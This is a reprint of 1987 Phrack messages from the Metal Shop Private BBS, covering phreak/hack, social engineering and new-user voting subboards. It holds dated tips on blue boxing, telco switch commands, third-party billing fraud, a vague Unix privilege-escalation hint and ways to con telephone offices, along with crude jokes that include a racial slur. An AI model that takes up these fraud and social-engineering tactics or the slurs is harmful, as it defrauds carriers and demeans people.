Does anyone know if either/both 900's and 976's terminate in POTS number? (Ever?) Something tells me that they probably do..

C^2

57/70: 976/900s

Name: Taran King 1

Date: 6:35 am Mon May 18, 1987

I believe that I asked someone that already and neither of them did. They both were arranged really strangely and didn't have POTS numbers (or at least not standard POTS numbers). If you could log onto the switch for the 900 or 976 number, you could probably find out, anyway, if it's got a POTS translation, but then again, that's a whole different baby. I'll ask again and repost when I find out unless Phantom and DP beat me to it (likely). Later ‑TK

58/70: 900 and 976

Name: Kerrang Khan 34

Date: 4:37 pm Mon May 18, 1987

Do not terminate in POTS numbers.

k

59/70: I think..

Name: Slave Driver 58

Date: 10:21 am Tue May 19, 1987

that 900s as in the kind you see on TV, like voting things| terminate in a 4e office. There is some special device that totals the calls if needed| and then the people who are using it just call and ask about the numbers...

Steve

60/70: 900 numbers explained

Name: Phantom Phreaker 46

Date: 9:35 pm Tue May 19, 1987

I was really interested in how 900 numbers worked, it is not common phreak knowledge, so I researched via a BSTJ and a little bit of engineering. Actually, I wrote a file on the Mass Announcement System (MAS) that is about 80 sectors, but I never released it because I thought no one gave a fuck. If anyone here wants this file, mail me and I'll get it to you somehow, or upload it here.

900 numbers do terminate in a Number 4 ESS, the 4E that has been allocated as your MAS node. As of 1980 (old info, I know) there were 7 No. 4 ESS switches that were MAS nodes. That number might be more now, butt the nodes were in Atlanta, Chicago, Dallas, Denver, LA, Newar, and Philly. Each one of these covers a particular part of the country. (oops, that 'Newar' up there is supposed to be 'Newark'). For instance, if Randy dialed 1‑900‑555‑1212 (the Dial it 900 service information line) his call would be sent to the Atlanta No. 4 ESS MAS node. If Mad Hatter dialed the same number, his call would be sent to the Philly MAS node. (Oh, Alaska and Hawaii are also included in this).

Back to the original question by Crax, 900 numbers can terminate in a POTS number, but I have never seen it done, so I would guess that it's not a common occurance. This is called cut through calling, or technically, Media Stimulated Calling (MSC). MSC basically sends one call per some unit of time to a DDD number.

The place that handles the maintenance and administration of all No. 4 ESS MAS offices is called ONAC, Operations Network Administration Center. I think the ODAC are centralized in Kansas City, Mo, which seems kind of strange because there isn't a MAS node there (that I know of).

One interesting thing about MAS services is the way Recent Changes are done, through an RCRRT2 (Remote Recent Change, don't ask me why the acronym doesn't match) channel, which is hardwired to ONAC. If one ever trashed ONAC or a 4E MAS node, you could probably find some actual switch output messages. Those would be interesting to see. So if anyone ever does any trashing like this then let me know.

Phantom

61/70: UNIX logs...

Name: Ax Murderer 7

Date: 5:33 pm Wed May 20, 1987

I haven't been on for awhile, but anyways, whoever was questioning UNIX's, which log are you talking about, the one of Berkley (HIST?). There's quite a few logs. To get superuser privs on some systems, first go into the /dev/ section and scan through the files. Almost always there will be a program in there which will be UNPROTECTED and allow even the lowest scum to use it. The main point is, in case for some emergency reason, he must log on from a remote location, and has difficulties, he may process another account.

Ax Murderer

Also, I got TONS of "C" programs. I also am pretty fluent in this.

62/70: Unix

Name: Phantom Phreaker 46

Date: 9:02 pm Fri May 22, 1987

Does anyone know a way to implement something similar to some common unix commands on a cosnix OS? For instance, the grep command, the find comma the file command, and a few others. What I wanted to do was list the ascii files in a cosnix directory (assume the /usr/cosmos directory, where COSMOS three letter command source is kept, but there couldcii or English Text in it). I would do it like this on unix:

$ ls ‑a</tmp/asciick&

Then when that process was done:

$ grep ascii /tmp/asciic/tmp/final&

Then check that file when it was done and it would have a listing of the ascii files. Since you cuse the type command, and can't use file, I'd rather not look through a long directory listing, and even then it's ot always ascii. So does anyone have any shell scripts that might help me out?

Phantom

PS‑Sorry for the line noise.

63/70: RA1 Channel 6

Name: Icarus 15

Date: 3:54 am Sun May 24, 1987

I dialed 1074654 and I heard "RA1 channel 6" repeated 8 times. Then I found out that I could dial 107xxxx and get the recording. Does anyone know what that means?

This only worked on some phones. Others, after I dialed 10, I would get the operator.

Icarus

64/70: PHREE CALLZ D00DZ

Name: The Leftist 71

Date: 10:57 pm Sun May 24, 1987

heh, about the easiest way to bill 3rd party or collect is to call spri nt operator.. they are dumb, and have no info on you whatsoever.. but you knew that didnt you??

65/70: centrex

Name: The Leftist 71

Date: 4:52 pm Mon May 25, 1987

Is there anyone that has any good info, <bell manuals etc..> on Centrex, or maybe someone out there knows a few things about it that could post?? Centrex in the home is pretty nice thing to have..only costs about 10 bucks to have it installed, but its well worth it... more info later..

66/70: WELL...

Name: Sir Francis Drake 56

Date: 7:05 pm Mon May 25, 1987

I HAVE SOME NON TECH CENTREX MANUALS SOMEWHERE...

I dont think its all that great right now but when the RBOC's are allowed to do all their software stuff it will be pretty cool. There are allread some keen centrex packages for voice mail and stuff.

Ill go look for them.

sfd

67/70: Centrex

Name: Phantom Phreaker 46

Date: 5:59 pm Sat May 30, 1987

Leftist, what do you want to know about centrex? I know a bit about the workings of them, the general description, how they are set up in a CO, etc. Be more specific in your question...

Phantom

68/70: Blue boxing

Name: Icarus 15

Date: 3:28 am Sun May 31, 1987

I have found that kp and st are not necessary when dialing off of a trunk. After seizing the trunk, ac+ is all that is needed to call out. This seems strange. Any comments?

Icarus

69/70: Reply^

Name: The Executioner 19

Date: 4:15 pm Sun May 31, 1987

You are not seizing an interoffice trunk.

What you are doing is kind of pseudo‑boxing, which is what we used to do here in New Jersey. What would happen is that we would use MCI, get a destination and then blow 2600. Since there were no restrictions on the band width, and no filters, we would blow back a dial tone that was possible to make international as well as alliance calls with crystal clarity.

I don't know the exact name of this but just that we weren't seizing a trunk.

Ex y

^ nice space

70/70: DP Boxing

Name: Phantom Phreaker 46

Date: 8:41 am Mon Jun 01, 1987

Icarus, what you are talking about sounds like boxing using a DP (Dial Pulse) trunk. DP 'boxing' doesn't use KP and ST, they use a time‑out feature. DP is made up of short bursts of 2600Hz tone. It isn't all that common as far as I know, but some older SxS offices supposedly use it for outpulsing on interoffice calls and to CAMA for billing. This means that either the homing CAMA office can record dial pulse trunk signalling, or there is some sort of sensor to translate it to MF before reception by the CAMA MF digit recievers.

Phantom

Post on Phreak/Hack Sub? No

^*

Social Engineering

==Phrack Inc.==

Volume Two, Issue 20, File 8 of 12

Metal Shop Private's ‑‑ Social Engineering

~~~~~~~~~~~~~~~~~~~~~~

This was a subboard similar to the Phreak/Hack Sub but it concerned the art of social engineering or bullshitting to get information.

1/27: CAROT/RC‑MAC

Name: Phantom Phreaker 46

Date: 2:46 am Sun Apr 26, 1987

The numbers before/after CAROT are the generic and version.. for instance 2CAROT3 is CAROT 2, generic 3. The highest I have seen is 2CAROT4, but there are probably more. Also a number that refers to a CAROT system could also be it's particular number, if there is more than one in a particular area.

RC‑MAC (Recent Change Memory Administration Center) is a place where a clerk enters information into an electronic switching system via a Recent Change terminal. The information changed can be a variety of things, but things like Class of Service, CCF's, EA Interlata Carriers (called a PIC, Primary Independent Carrier, I believe, something along those lines), etc. Data that is to perform Recent Changes upon an ESS switch is screened by a computer system called RMAS (Remote Memory Administration System) for validity. RMAS is generally running under a unix OS.

A few actual Recent Changes look something like this:

RC:LINE;CHG:

ORD XXXXXXX

TRC

!

That is an RC upon a line, to change something. The TRC is TRaCe, I think, and the ! is needed for some reason.

You can also have:

RC:MLHG;CHG: (RC upon a Multi Line Hunt Group); RC:MPTY;TWPTY: (RC upon a Multi Party line, a 2 party line)

Oh yeah, those examples I typed in might be wrong, I don't memorize them or anything so don't sue me if they aren't right. Also they are for a 1AESS.

Phantom

2/27: Bah..

Name: Phantom Phreaker 46

Date: 2:54 am Sun Apr 26, 1987

(Sorry to post two in a row...)

Hatter, RC‑MAC does have COSMOS access, at least they have a login prefix assigned as 'RECENT CHANGE', which is RCxx, where the xx is two numbers. Theyy don't seem to logged on that often though. Some other systems they may have access to include RC/V, Recent Change annd Verify, I don't understand RC/V that much, but RC/V has channels into electronic offices, just like RC channels. RMAS is access to an RC channel.

PS‑I'm open for corrections..I'm not 100% sure about all this shit either.

Phantom

3/27: Bell Security

Name: Knight Lightning

Date: 7:14 pm Thu Apr 30, 1987

What would you have to do and who would you have to call and what would you have to say etc to find out about anything being on your line that you didn't want (hint hint)?

:Knight Lightning

4/27: (3232232

Name: Doom Prophet 21

Date: 4:57 pm Fri May 01, 1987

Try your CO (they would know if a DNR was there of course), or for CLID marked numbers, your SCC switch controller. They won't always read you the CT06 though (heh)..

5/27: Yeah but

Name: Knight Lightning 2

Date: 10:17 am Sat May 02, 1987

Who would you say that you are, why would you be calling, and what would you ask to find out if it was there?

:Knight Lightning

6/27: RC‑MAC

Name: Mad Hatter 51

Date: 3:12 pm Wed May 06, 1987

RC‑MAC.. are they any good for engineering? If so, for what? Thanks... Also, what are the functions of MMOC?

‑Hatter

7/27: RC‑MAC

Name: Taran King 1

Date: 5:58 pm Wed May 06, 1987

The Recent Change Memory Administration Center is the place at which orders are put in to do changes to subscriber lines, etc. It is a very useful office, but this all depends on what you want to get done. I believe they have access to RC terminals (makes sense anyway...) so you could get then to complete any RC transaction that you wished to have done provided that you've got a good excuse. Hope that helps a bit..

‑TK

8/27: CT reports

Name: Control C 8

Date: 9:07 pm Wed May 06, 1987

Here's something you may be intrested in:

Report Reason for Report

‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CT01 To print information pertaining to a line trace requested by an input message.

CT02 To indicate that this message contains information pertaining to a line trace requested by an input message.

CT03 To indicate that an interoffice or outgoing seven‑digit call has been placed form a directory number to another directory number.

CT04 To indicate that the incoming call has been placed to the indicated directory number from a trunk. The trunk network number (TNN) is given. Translation information for the called directory number or the terminating directory number indicated that a trace should be made of all calls to this number.

CT05 Indicates thatan outgoing ten digit call has been placed from directory number to another directory number. A check of the Calling Line Identification (CLID) list indicates that a trace of all calls to this ten‑digit number should be made.

CT06 To print the contents of the CLID list in response to input message CI‑LIST or as the result of an error being detected in a CLID entry by audit 32. The audit will remove the directory number in which the error was found. If CLID list in printed in responce to a TTY message, then it will be a priority of SCHED and an 'A' will print out with the header. If CLID list is printed as a result of an error found by the audit an 'M' will print out with the header since it will be a priority of MAN.

If anyone want to know any other output reports let me know..

Control

9/27: SCCS

Name: Mad Hatter 51

Date: 11:18 am Thu May 07, 1987

What is the difference between SCCS and TSPS SCCS? Is it that TSPS SCCS is used by TSPS only? That sounds logical, but I wasn't sure anyway. Anyone ever hear of Network Administration? What are they good(used) for?

Questions, questions, questions....

‑Hatter

10/27: NAC/CT0X reports

Name: Phantom Phreaker 46

Date: 10:58 pm Thu May 07, 1987

Network Administration is also known as the NAC, Network Administration Center, also called Dial Assignment. They are located in the BOC building, I believe, along with the LAC (Loop Assignment Center) and SSC (Special Service Center) and a few others. The NAC basically deal with new lines being put in, they do things like figure out how to evenly distribute the number of lines so there won't be any shortage, and things like that, it's similar to the LAC but I don't know any big differences in the two right now.

Ctrl C, where did you get the CT0X message summaries? Pretty good info though, but I can say that I have only seen a CT06 (when I pulled it up), a CT04, and a CT03 message. CT04 ID's a TNN (as he said) connected through the destination ESS to a particular DN. It can then be determined the general area of where the call is coming from from the TNN. But there is differences if you are calling over interoffice trunks (local calls) or tandem trunks, or long haul, or inter‑LATA...

Phantom

11/27: Offices, systems

Name: Doom Prophet 21

Date: 5:21 pm Tue May 12, 1987

Ok, for all you D00ds, here's some really hot classified information on Telco offices and the systems they use for maitenance functions. If you run into a problem engineering, simply say you are from any of the following offices. I will go into a brief description of each below. Enjoy!

FUCK‑Facilities Utilization Control Kitchen. A really hot office. They keep backups of all systems per a LATA, or in special cases, the entire BOC area, along with user logs and passwords. They use the CUNTLICK system to interface with SHIT, explained momentarily. They ar difficult to reach as no one knows their number, and anyone calling it has to enter a special queue dispenser where he enters routing information to reach the FUCK ACD. The FUCK technicians answer as normal subscribers and you have to tell them a codeword.

PENIS‑Plant Engineering Network Information System. Used by the PMS to deal with outside plant details and layout maps.

CUNTLICK‑Computer Utilities Network In the Control Kitchen. Used to sensor with SHIT.

SHIT‑Supreme Hardware Inventory Totals. Self explanatory.

CRAP‑Customer Repair Analysis Service. They use PENIS to supply PMS with info.

PISS‑Primary Intertoll Switching Servicemen. Corrdinate classes 1 through 4 toll offices and monitor the STP's.

BITCH‑Building Installation Table Channel. Used by SHIT technicians to obtain new switch and office status.

SCAB‑Switching Cable Analysis Burea. They work with PMS for trunk testing and maintenance. The systems they use are FART and DOPAMINE.

Well, that's about all! Oh, don't forget BASTARD (Box Accessible System To Aid Real D00ds). A special in band NPA with full OSC support for blue boxers to experiment within legally (only operating in special areas).

That's all! Hope it helped!!!1

12/27: MORE!!

Filename: c:msgs\A‑26730.1

Name: Phantom Phreaker 46

Date: 7:29 pm Tue May 12, 1987

You forgot a few:

DOGSHIT‑Division Operations Group SHIT (see above post). DOGSHIT is like SHIT, except that DOGSHIT is in a division.

CATPISS‑Centralized Automatic Tandem Priorities Interexchange Support System. Self‑explanitory.

BEER‑Bell Electrical Engineering Research

COOL‑Computerized Operations On Loops

Ah well, mine weren't near as good but at least I tried.

Phantom

13/27: Yet still more...

Name: Taran King 1

Date: 8:58 pm Tue May 12, 1987

Hey now, hey now, that was sheer incompetence...leaving out the following!

BOOGER ‑ Bell Operational Office for Generation of ESS Reports. Self Explanitory

STAN ‑ Spanish Tacos And Nachos. This support group, Californian based, maintains food services for all superior employees (all employees).

NATE ‑ Nacho And Taco Emissary. This department secretly interfaces STAN with the rest of the network due to the STAN group's inability to fit in with society. **Due to divestiture, NATE and STAN are no longer part of the network**

IL DUCE ‑ Not an acronym, but the janitorial services department of the network.

PUMPKIN ‑ Peripheral Unit Modulator Phor Kitchen Installations of NATE. This group is in charge of interfacing kitchen activities through Project Genesis. See RAPE.

BRRR‑RING ‑ The official word for the sound an AT&T phone makes receiving an incoming call.

BANANA ‑ Basic Analog Network Analog Network Analog (No wonder they went digital!!!).

RAPE ‑ Red Afro‑PUMPKIN Enthusiast. This group, led by Peter, cheers IL DUCE while he sweeps the floors.

SCOOP ‑ Secondary Command Output Only Procedure. This converts all text to lower case. It is a function used in most Bell computers along with LEX.

LEX ‑ Lengthy Explanitory Xlations. This program, found alongside SCOOP, converts all lowercase text, from SCOOP, into upper case and 40 columns surrounded by "$"s.

** Warning! Never leave SCOOP and LEX running simultaneously or you will surely cause L666 to occur. **

L666 ‑ The warning message generated by computers indicating endless Loops of conflicting jobs. This also indicates that everything is fucked. See LOKI.

LOKI ‑ Life Over‑Kill Inscentive. If you find this error message on your computer, do not reboot the computer, but be sure to reboot something (HINT HINT!).

This is a work of fiction. Names, characters, places and identities are either products of the author's imagination or are used ficticiously. If you notice any resemblence to actual events or persons, living or dead, don't come to us.

Bill and Taran

Feeling obnoxious

Feeling 7‑UP

Banana flavored

Using the Randy‑Voice‑Machine (Ha ha!)

P.S. Bill says, "Hi" to his Uncle Al.

14/27: Who Could Forget......

Filename: c:msgs\A‑26724.1

Name: The Disk Jockey 13

Date: 7:10 am Wed May 13, 1987

SNATCH‑Senses Nodes And Traps Code Hackers

TITS‑Telephone Involved in Tandom Skipping

PUBIC‑Plastered Uniforms Brought Inside Co......an employee infraction RAD‑Recieve Ananlog Department

DISC‑Deadbeats Instinctively Scanning for Carriers

LAP‑Local Area Payphone

Or use the codewords that Linemen and Telco employees use....

This Means This

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

"OHFUCKNIGS" "I'm trapped in a phone booth in a black neighborhood" "FIDOFUCK" "A customer's pet dog has me trapped up a pole" "HOMEBONE" "I got laid while doing a customer's installation" "SNOOZEBOX" "I'm sleeping, bust saying I'm fixing little green boxes"

The list goes on......

15/27: Phrack 15

Name: Knight Lightning 2

Date: 5:42 pm Wed May 13, 1987

Looks to me that between the multitude of humorous posts on subs 2 and 4 we need another Phrack joke issue.

:Knight Lightning

16/27: Where were these when?

Name: Mad Hatter 51

Date: 6:11 am Fri May 15, 1987

Where were these ancronyms when Phrack 13 was out? None the less, I'm only posting this to say "Banana" to Bill...

‑Hatter

God damn line noise!

One more thing, don't expect to talk to me voice for a while(week), I "had an accident", and the result was 6 stitches in my inner upper lip... Hiho..

17/27: Ok

Name: Doom Prophet 21

Date: 4:49 pm Fri May 15, 1987

Howdy Dowdy, if you like them, buffer them and save them for a rainy day, or put them in a future issue (or a section of PWN to illustrate the great great users of MSP and our |ool senses of humor in a world full of manual brained users who try to out elite each other consantly for no real reason

.

^Forgot the period up there. The Chinese men would show worm movies out of their penises onto the wall, which really wasn't a wall, but a little girl who would blow her nose and discover her horror at seeing specks of blood in her snot, and the TV screen would dance around the green bean on the couch, which was itself watching TV out of a reflection his eyes which were glassed over from toxic fumes emanatinng from his oven, which came from the TV antenna before it came out his ass at 5 am.

>From blind eye sees all, sort of

18/27: 800 Numbers....

Filename: c:msgs\A‑26685.1

Name: The Mad Hacker 47

Date: 10:57 pm Fri May 15, 1987

A Dumb Question:

Is there anyway that you can do anything to 800 numbers? I.e. MB's, etc. Can you CNA an 800 Watts or do you have to locate their regular number(Should they have one). I ask this because Fallwell shoudl burn!

The Mad Hacker

19/27: 800's

Name: Lucifer 666 43

Date: 2:07 am Sun May 17, 1987

I imagine that you would have to get the POTS number from X‑tended 800 services and then get the SCC for the POTS... Maybe the 800 number could be taken down for a while or disconnected by getting the AT&T office that handles 800 maintainence...

L666

20/27: 800`s

Name: Phantom Phreaker

46

Date: 1:31 pm Sun May 17, 1987

I don't know if I posted this or not, but not all 800 numbers terminate in a POTS number, some of them are in the format of (NPA)+1XX+XXXX, and these are the kind that are only dialable via the actual 800 number, or by someone using a blue box to trunk off a number within an NPA (toll office actually) that is subscribed to that 800 number. I had someone get me some translations once from a toll office in 617, you can get them by typing certain commands directly into the switch, something like:

TEST‑DSIG‑INWATS‑NPA NXX XXXX. ^D

That's not right, but it's close.

Phantom

PS‑MSP is almost as messy as Randy says.

21/27: Change numbers

Name: Mad Hatter 51

Date: 8:18 pm Mon May 18, 1987

Is it possible to change your number by engineering an office? If so, which one? My guess would be RC MAC, but then again, what do I know?

Bell Techie

22/27: Whats...

Name: Slave Driver 58

Date: 10:27 am Tue May 19, 1987

NSAC?

Steve Driver

stupid definitions welcome, but so is a real one...thanks..|

23/27: NSAC...?

Name: Phantom Phreaker 46

Date: 9:38 pm Tue May 19, 1987

Did you mean NESAC by any chance? I've never heard of NSAC but it probably exists, there are a bunch of telco offices that end in 'SAC' such as MSAC, ESAC, NESAC, and OSAC, and probably others I can't remember. I'll look around and see if I can find NSAC anywhere.

Phantom

24/27: Offices

Name: Doom Prophet 21

Date: 6:57 am Fri May 22, 1987

Well Phantom, OSAC isn't a Bell or AT&T office, it is a system for operator services support (I guess it stands for something like Operator Services Assistance Center). From there a person can get information for certain time periods on entire TSPS sites, such as how many calls were placed, etc, and a traffic analysis for day or night reports. The CLLI code is listed with the report I believe.

CMAC is similar to RC‑MAC (or so I thought) because when I was trying to get an 800 translation, the PBX attendant at the RTM in 312 referred me to them. They then asked me what switch it was for (the Xlation) and apparently misundererstood my request (I guess they thought I was asking for a DN or trunk translation). MSAC is for installation and testing of WATS lines butt don't give out Xlations (policy by the sound of it although it was probably just me). I have heard differently, soo I'm not sure on tht last one (MSAC's purpose, which I have been told NSAC does instead). Since 800's have gottenen 'advanced' I suppose the offices for testing could be on a national level, although MLT equipment when testing a number that has been reported as an 800 somehow accesses the actual translation or non standard BTN automatically. The A8FSC probably does WATS testing also, along with NASCAR (mainly used for traffic analysis from toll centers of 800 terminations to make sure the completion level is up to standard). TK, where is the ACP physically, just in the 4E itself? Do you know how the NCP receives incoming messages (the same as an initial message on CCIS, or CCS) and in what format? Also, what data links run to and from the NCP? Hope someone can answer my questions..

Doom

25/27: Sorry

Name: Doom Prophet 21

Date: 7:02 am Fri May 22, 1987

To leave another post, but before anyone starts having a fit, I know the standard places for obtaining Translations, so please don't leave a thousand corrections on how the RTM has nothing to do with Xlations (I agree). Acttualy it was someone at the RWC who referred me to CMAC and not the RTM, I can't remember clearly anyway.

26/27: Shit...

Name: Taran King 1

Date: 7:10 am Fri May 22, 1987

New Users

==Phrack Inc.==

Volume Two, Issue 20, File 9 of 12

Metal Shop Private's ‑‑ New Users

~~~~~~~~~~~~~~~~~

This was the New User subboard where people could apply for membership on Metal Shop Private as you will see in a number of places throughout this message base. All messages were posted anonymously except by those applying (who didn't actually post their application but it was arranged that way).

Note: Not all of the signatures on the ends of messages are correct as will be obvious at times, but not at others.

1/46: A few jokes...

Name: <<< Knight Lightning 2 >>>

Date: 10:41 pm Mon May 04, 1987

Ok, please note, the characters portrayed here are fictional.

Picture a bar full of phone phreaks. Jester Sluggo walks in drunk. He goes to the front and gets a beer. He chugs it and looks at the people on the left side of the bar and says, "ALL OF YOU ON THIS SIDE OF THE BAR ARE MOTHERFUCKERS! ANY OF YOU GOT A PROBLEM WITH THAT?" "No not me they cried, not wanting to incure damage. Sluggo chugs another beer and then looks up and says, "ALL OF YOU ON THE RIGHT SIDE OF THE BAR ARE COCKSUCKERS! ANY OF YOU GOT A PROBLEM WITH THAT?" "No not I,"they all cried. Then suddenly a small figured mexican national stood up and started walking towards Sluggo. "YOU GOT A PROBLEM WITH SOMETHING I SAID," he belched. "No no senor, I was on the wrong side of the bar."

‑‑> The Amazing Comic!

2/46: Galactus's Application:

Name: Galactus

Date: 2:33 pm Tue May 05, 1987

APPLICATION OF ‑=GALACTUS=‑ FOR ‑=METAL SHOP=‑ MEMBERSHIP;

1.AGE 21

2.SEX M

3.NUMBER OF YEARS HACKING:5

4.NUMBER OF YEARS PHREAKING:2

5.PHILES WRITTEN:

HACKING THE HP2000 (PARTS 1‑6)

HACKING THE HP3000

HACKING TOPS

USING DIVERTERS

OUT DATED PHILES:

HACKING MCDONALDS

HACKING PRIMOS (BEING REVISED)

SPECIALTIES:

LOCATING PBX'S AND DIVERTERS

COMMON OPERATING SYSTEMS

USING DIVERTERS

HAVE LOTS OF GOOD EXPERIANCE ON:

HP2000, HP3000, TOPS, RSTS, PRIMOS

VAX/VMS, VM‑370, UNIX, ETC...

MY PHILES MAY BE READ ON THIS BOARD AND P‑80

OLD ALIAS: NANUK OF THE NORTH

3/46: Ok...

Name: <<< Taran King 1 >>>

Date: 2:37 pm Tue May 05, 1987

I've talked to this fellow and he doesn't know a hell of a lot about phreaking but seems to know a bit about hacking anyway. You may have seen him on Phreak Klass Room 2600 too, but I don't know since I'm not on there. So what do ya think?

‑TK

4/46: Nanuk..

Name: <<< Mad Hatter 51 >>>

Date: 2:59 pm Tue May 05, 1987

I've seen some of his posts of Phreak Klass and they're okay. Althoug like he said, his files are a tad outdated. I never really talked to him personally, so I'm undecided...

‑Hatter

5/46: Can't say

Name: <<< Knight Lightning 2 >>>

Date: 5:09 pm Tue May 05, 1987

I don't know anything about his hack knowledge, but I do know that he is very confused about voice filtered loops.

:Knight Lightning

6/46: Also....

Name: <<< The Mad Hacker 47 >>>

Date: 11:46 pm Tue May 05, 1987

I can't say as I have never seen him on any BBS. Seems okay, although I usually hate anyone that Types in all Caps(Proper Capitalization, Eh TK???)....

Seems okay, I guess, but then I really don't know......

‑TMH

7/46: Nanuk

Name: <<< The Prophet 23 >>>

Date: 12:28 am Wed May 06, 1987

"Specialties‑ locating PBX's and using diverters"? Nay!

‑TP

8/46: He's ok

Name: <<< Control C 8 >>>

Date: 9:09 pm Wed May 06, 1987

I think he's ok, I just let him on my system and he seem like he know's what he's talking about when it comes to computer systems.. I say Ok..

9/46: Who

Name: <<< Knight Lightning 2 >>>

Date: 12:33 am Thu May 07, 1987

Who did Nanuck say he knew (as references) from the old days that we could check with and who now?

:Knight Lightning

10/46: Hmm...

Name: <<< Taran King 1 >>>

Date: 7:02 am Thu May 07, 1987

He hangs out with his own little clique. His good buddy is Blitziod. He's also friends with Lefty Carlson, Fatal Error 313, Mic Ripoff, Silent Rebel/ Phantom Fighter, and Striker (not the one from the IBM pirate boards I don't think). I don't know how to really get in touch with any of these people, not that I could go by their words anyway...Later

‑TK

11/46: Vote

Name: <<< Computer Wiz Kid 54 >>>

Date: 10:24 pm Thu May 07, 1987

Sounds Good, but like someone said before, i hate CAPS......Looks LIKE someone is YELLING AT YOU, but hey if he is as good as he said he was, why not...

12/46: Fatal Error 313

Name: <<< Knight Lightning 2 >>>

Date: 11:33 pm Thu May 07, 1987

Not meaning to get crude or vulgar here, but isn't this the FE that is dead? If so, I think you're going to have a bitch of a time getting a hold of him.

:Knight Lightning

13/46: FE

Name: <<< The Scanner 20 >>>

Date: 1:38 am Fri May 08, 1987

Fatal Error has been gone for some time now. He and a good friend of mine kinda disappeared about 2 weeks before I was raided. I havent heard from either one since then. ???

_‑The Scanner

Well, May as well plug my board while im here.....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Scan Line 313‑851‑0912

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Designed for the serious

telecommunicationalist..

‑ yeah sure

Newuser pass = OPCODE

14/46: FE 617

Name: <<< Taran King 1 >>>

Date: 6:31 am Fri May 08, 1987

The one in 617 who used to run Metropolis is dead...the one in 313 is just dormant. Stupid posts for stupid people by stupid people

15/46: Fatal Error....

Name: <<< The Disk Jockey 13 >>>

Date: 6:57 am Fri May 08, 1987

Wasn't he killed in a motorcycle accident? Or is he laying low and thats what he wants people to think?

The Disk Jockey

16/46: Fatal Error

Name: <<< Knight Lightning 2 >>>

Date: 8:02 am Fri May 08, 1987

Its a good theory, but I believe the incident was real.

:Knight Lightning

17/46: Any one else??

Name: <<< Mad Hatter 51 >>>

Date: 2:32 pm Fri May 08, 1987

Any in else in the "Phreakdom" die? That seems weird. I get the feeling of a society without death/diseases/etc.. No, for the current Votee....

‑Hatter

18/46: Death.....

Name: <<< The Disk Jockey 13 >>>

Date: 7:28 pm Fri May 08, 1987

Ever hav that you know die? It's always someonwho you know, but never really think about. It's wierd as hell, and it makes you wonder if you are next. Ever wonder what death is like? I guess it can't be imagined.... Ever get really stoned and just sit and try to compare

FUCK IT.....I'll stick to new scanning, I don't even know what the hell I am doing....!

The Disk Jockey

19/46: In general

Name: <<< Knight Lightning 2 >>>

Date: 12:19 am Sat May 09, 1987

And for the record this is on the wrong sub, the idea of death in the phreak world has really been "getting busted" or "retiring." That is the only way we can really think about it in our society, I mean cause phreaks just don't die everday, but they do get busted about that often, so that gives us a more realistic view if we were to look at the phreak zone as a true realm.

:Knight Lightning

20/46: FE (again)

Name: <<< Phantom Phreaker 46 >>>

Date: 2:28 am Sat May 09, 1987

Fatal Error 617 died from a motorcycle accident while riding in his woods. Micro Man (617, was sysop of Newsweek BBS) called me and told me this on July 3, 1986. I guess no one else heard about this for a while, I remember the date because it was right before the fourth of July. FE 617 was into COSMOS and ran Metropolis, as someone said. FE 313 is a vocal phreaker and (as far as I know) doesn't have a modem.

21/46: really

Name: <<< Lucifer 666 43 >>>

Date: 2:35 am Sun May 10, 1987

KL & Tk gasp! print false info ? gasp!

anyways, exactly how much fun can it be to be a diverter expert?

22/46: FE's

Name: <<< Control C 8 >>>

Date: 11:22 am Sun May 10, 1987

FE 313 is alive and well, I don't think he has a modem but he's in some group with that Nacka of the north (or what ever his name is) randy you should have his number around somewhere..

Control

.s

oops

23/46: Galactus

Name: <<< Doom Prophet 21 >>>

Date: 10:57 pm Sun May 10, 1987

I sorry butz I say no to Galactus...I don't think he's good enough to be on MSP (not saying I am good either). Some of the stuff here is not fit for thte irresponsible...I don't believe that he is 21 for some strange reason. Oh well trying not to discriminate but I say definately no.

Doomy

24/46: Galactus.....

Name: <<< The Disk Jockey 13 >>>

Date: 6:43 am Mon May 11, 1987

Doom's right.....fuck 'em. I don't buy for a second that he's 21.

The Disk Jockey

25/46: Add

Name: <<< Knight Lightning 2 >>>

Date: 6:48 pm Mon May 11, 1987

I myself was unimpressed by his resume and the conversation we (Taran and I) had with Galactus clearly has left a mark with me that he doesn't deserve a place on MSP at this time.

:Knight Lightning

26/46: NO

Name: <<< Phantom Phreaker 46 >>>

Date: 7:24 pm Tue May 12, 1987

My vote on Galactus is NO. Yes, I am conceited as hell, an asshole, etc. I always feel like a jerk when I vote 'NO' because I feel like a segragationist.

27/46: I feel the same.

Name: <<< Evil Jay 26 >>>

Date: 9:05 am Wed May 13, 1987

Galactacus (whatever the fuck his name is) is a knowledgeable person, but I think he could still go awhile before getting let on. Sigh, he is a Prime person tho (hell, practically inspired me to write a Prime file when I read that pathetic thing from way back).

Still, its no.

‑The Big J

28/46: Guess its No, yes?

Name: <<< Knight Lightning

2 >>>

Date: 5:44 pm Wed May 13, 1987

Looks like there has been an overwhelming vote of dissapproval of Galactus becoming a member here. Whats the woid Taran?

:Knight Lightning

29/46: theres no way

Name: <<< Lex Luthor 36 >>>

Date: 10:46 am Fri May 15, 1987

There is no way Galactus "knows very well" all those OS's

I would say 3 operating systems is the maximum for most hackers as far as a complete (its never really complete) knowledge of OS's is concerned. Hell I know VMS, UNIX, and VM/CMS very well but thats it. The rest I know enough to get around in. OS's are like languages, people know a few words in spanish or french but don't know how to speak fluently in those languages, but they still tell people they can. That is what hackers do. I find this mainly on their applications. Most hackers specialize in one operating system. Sometimes they move on and specialize in others, sometimes they stick to the one they like.

More ramblings from Lex

30/46: ummmmm.

Name: <<< Lucifer 666 43 >>>

Date: 2:11 am Sun May 17, 1987

but what if he unleashes with full force!

hmmmm. isnt this nice. our own little democracy...sort of..

ourvote = 3%

randy's = 97%

notice.... the above

31/46: Galac.

Name: <<< The Sensei 18 >>>

Date: 6:37 pm Thu May 21, 1987

Galac., doesn't sound like a honest to goodness hacker. He probably calls us his local UNIX system and uses defaults to hack it out.

Sounding sarcastic, but you know how it is. 1987 for users is really lousy.

What are the specifications for electing a new person to the system. I have someone of interest.

Ts

32/46: Users...

Name: <<< Taran King 1 >>>

Date: 7:07 pm Thu May 21, 1987

